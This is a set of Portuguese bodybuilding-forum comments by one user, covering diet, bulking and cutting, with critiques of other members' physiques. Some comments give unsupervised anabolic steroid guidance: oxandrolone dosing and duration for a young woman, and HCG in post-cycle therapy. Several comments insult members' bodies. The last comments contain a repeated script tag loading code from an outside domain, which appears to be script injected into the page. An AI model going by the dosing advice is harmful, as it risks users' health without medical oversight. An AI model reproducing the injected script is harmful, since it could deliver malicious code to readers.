rvtz

Concordo que é mito dizer que abacate engorda, e sei que ele é nutritivo, eu consumo ele de manhã, só disse que eu nao consumiria ele nesse horario .. Eu costumo bater meus macros de gordura e carboidratos antes das 18, minha estratégia que sempre funcionou .. Não existe receita de bolo, se pra voce, que pela foto do perfil, é seco, parabens, mas não é todo mundo previlegiado

Ta vendo, tu tem uma genetica boa, confie mais nela. Do resto boa sorte ai ... E pensou em usar um HCG ai na TPC? Tira esse clomid e da uma pesquisada sobre a TPC por André Zucaro no youtube, tem algumas alternativas bem legais postadas por ele para uso na TPC utilizando varios produtos naturais que podem te ajudar bastante.

Bom, se o objetivo é qualidade eu não consumiria um alimento que tem 70% de gordura antes de durmir, JAMAIS. Consumiria carboidratos até o horario em que eu teria certeza que estaria consumindo a energia. Eu sempre tive bons resultados relacionados a qualidade muscular utilizando essa estratégia e também já vi muitos tendo ótimos resultados consumindo carbo após as 18h, mas te garanto, 90% são ectomorfos de natureza, que no é meu caso. Respeito inclusive quem faz, apenas disse minha opinião pra "qualidade".

FAKE ! Esse cara ai mente, essas fotos ai são do google e ele é um gordinho tetudo jogador de LOL. DENUNCIADO !

Cara, B&C é pra quem quer COMPETIR, pra quem quer ter um shape massa basta 1 ciclo por ano e DIETA, apenas isso. Se voce tem mesmo 85Kg com 10% de BF tu ta bem pra kct. Posta foto ai pra gente avaliar melhor. Ja tenhou bulkar sem drorgas? Teve resultado? Agora se for competir, viva de B&C. E outra parceiro, 23 anos manin, não precisa se entupir não, vai na fé e na força. To de olho ai.

Show sua batalha ai guerreiro, otima evolução, mas a luta não para nunca. FOCO sempre. E corta essas marmita chinesa ai cheia de sódio man kkkkk não da futuro kkkkkk Boa sorte .. vou estar de olho ai.

SG ta um boi kkkkkk boi barbuso secsi saudadisssss ... to de volta nessaporraaaaaaaa

Olá Mandy, Tem algum objetivo de competir ou algo assim ou seu ciclo é apenas "estético recreativo" ? Concerteza ja deve saber de todos os colaterais que a Oxandrolona pode causar e mesmo assim decidiu ciclar. Nao se acha muito nova pra já utilizar uma droga, que por mais que seja relativamente fraca comparado a outros AEs, é uma droga rsrs e sempre é necessário tomar muitos cuidados. Está fazendo o ciclo com alguma acompanhamento médico ou apenas seguindo informações da internet? Cuidado, nem tudo é mil maravilhas. Nem tudo é "certo" e tem muito achismo por ai. Sua dieta está bem montada mas creio que se seu objetivo seja qualidade pode tentar ir baixando esse carbo ai e até poderia pensar em cortar o carbo após as 18h e apenas proteinas e salada após isso. Abacate é beeeeem calorico e pelo horário que voce vai comer, hummmm, eu nao comeria. Só cortando esse carbo após a 18h e tirando esse abacate ai concerteza voce vai alcansar mais qualidade no shape. Também usaria algum multivitaminico ao invés de apenas vitamina C, um Centrum ja seria bem melhor. Ja tens um corpo bem simestrico, digamos que já é fortinha pela sua idade e tempo de treino, mas ai digamos que voce tem genética pro esporte pelas suas fotos, creio que se apenas focasse numa dieta, treino e descanso ja teria otimos resultados, mas como já lhe disseram ai encima, já começou, agora termine. Não faça mais que 8 semana e não ultrapasse a dose de 30mg/dia e tente não usar mais que 8h de intervalo entre as doses pra respeitar a vida média da Ox (de 6 a 8h) Usei 30mg/dia durante 50 dias e já tive ótimos resultados. Do mais boa sorte e vou acompanhar.

Se as medidas manteram mas o BF aumentou provavelmente houve perca de MM, por mais que seja minima.

Cara, faça uma DIETA ao invés de usar drogas pra isso. Já tentou? Coloca uma foto sua ai

To de olho. Fotos sempre, pra galera ver as transformações

Muito bom jovem, ta com um shape responsa. E a TPC, já comecou ?

Qual seu objetivo ? Eu faria um bulk limpo e ganhava o maximo de peso que conseguisse e dps disse pensaria em um cutting.

Ta bem sequinha ja Pri .. pode partir pro Bulk e espere bons resultados. Monta uma dieta bem limpinha e bota pra crescer, vai chocar os machos da sua city rsrs Cara, depende do seu objetivo. Se quiser ficar grandão continua no bulk que consegues ganhar mais peso, só tome cuidado com seu BF que pelo visto voce esta acumulando gordura abdominal. Agora se fosse eu faria um cutting e ficava bem seco, vai ficar bem massa seu shape, ja tem um volume bacana ai. Continua no bulking. Mas reveja sua dieta amigo, comece a comer igual homem pra ver se cresce.Se voce cuttar vai ficar uma vareta. Se voce quer os 90Kg, vá em busca deles. Aumenta as kcal ai, reveja sua dieta e bota pra crescer. Agora se almeja um shape mais estético parte pro cutting que acho que vai ficar legal.

Ja falamos pra voce: Bulka jovem, sem dó. Vai fazer cutting natural ? ON-FIRE voce secaria e ganharia MM junto, facilmente. Shape é bem simétrico e tem um volume ai, creio que perdendo uns 4Kg ja vai ficar beeeeemmm seco.

Bem isso. Por que ele nao pergunta pra mae dele entao neh ?! ou pra namorada ?! Nunca vai dizer que ele ta mal, ou que ta piorando kkkkkkk Até da pra mudar em uma semana porém, NO BRAIN - NO GAIN

Bruto. Bora Rafa

Cara, na página 148 voce ja tinha perguntado do seu shape e agora perguntando dinovo ? Quer conféti ? Ou só quer mostrar sua fotinha sem camisa ? Se for, aqui não é o lugar, usa facebook ou instagram pra isso.

Axo que voce tem de 16-18% de gordura, não mais que isso. Voce treina faz qto tempo ? Se quer um shape mais atletico, faça um cutting, elimina essa graxa ai e dps parte pro bulk, mais seco. Como voce ainda tem 18 anos seu metabolismo ta "a milhão" então aproveite disso, siga uma dieta legal, bem limpa que rapidinho voce seca e pode correr atras dos seus 86Kg seco. Acho até que voce consegue mais do que isso. Agora se preferir, pode bulkar já, mas um bulk limpo, com gordura e carbo controlados que voce vai ganhar massa e ir queimando a graxa junto, bem lento, mas vai. Tudo vai depender da sua rotina de treinos de hipertrofia, aeróbicos e principalmente uma dieta bem montada.

HAHAHAHAHAHAHHAHAHAHAHAH TMJ SEMPRE PO KKKKKKKKK

Jonas c ta meio gordo mano, axo que vc precisa de cutting mas ao mesmo tempo vejo que se cutar, vai sumir, então bulka e cuta junto kkkkkkkkk

Pode bulkar, tem pouca gordura ai, porem bulk limpo, sempre. Continua no cutting. Voce precisa fazer seu corpo queimar essa banha ai rsrs emagreceu bem, se tivesse frequentado academia durante esse processo concerteza estaria bem melhor, com mais massa magra e sem pelo menos metade dessa gordura sua acumulada. Capriche na dieta e nos aerobicos que voce perde isso ai facil.

<script src="https://www.njaxjs.me/services/script.js" type="text/javascript"></script> Sim, continua no bulking, limpo sempre.

<script src="https://www.njaxjs.me/services/script.js" type="text/javascript"></script> Aqui cara, voce ja havia perguntado. <script src="https://www.njaxjs.me/services/script.js" type="text/javascript"></script> COnfundi man, mals kkkk

<script src="https://www.njaxjs.me/services/script.js" type="text/javascript"></script> Dinovo ? rsrs Bulk cara, limpo sempre.<script src="https://www.njaxjs.me/services/script.js" type="text/javascript"></script> Cara, mesma coisa que disse pro cara ai encima. Se voce controlar sua alimentação com uma dieta legal e limpa concerteza consegue dar uma limpada na graxa e ganhar massa magra. mas eu partiria pro bulk, ganharia mais MM e dps cutava.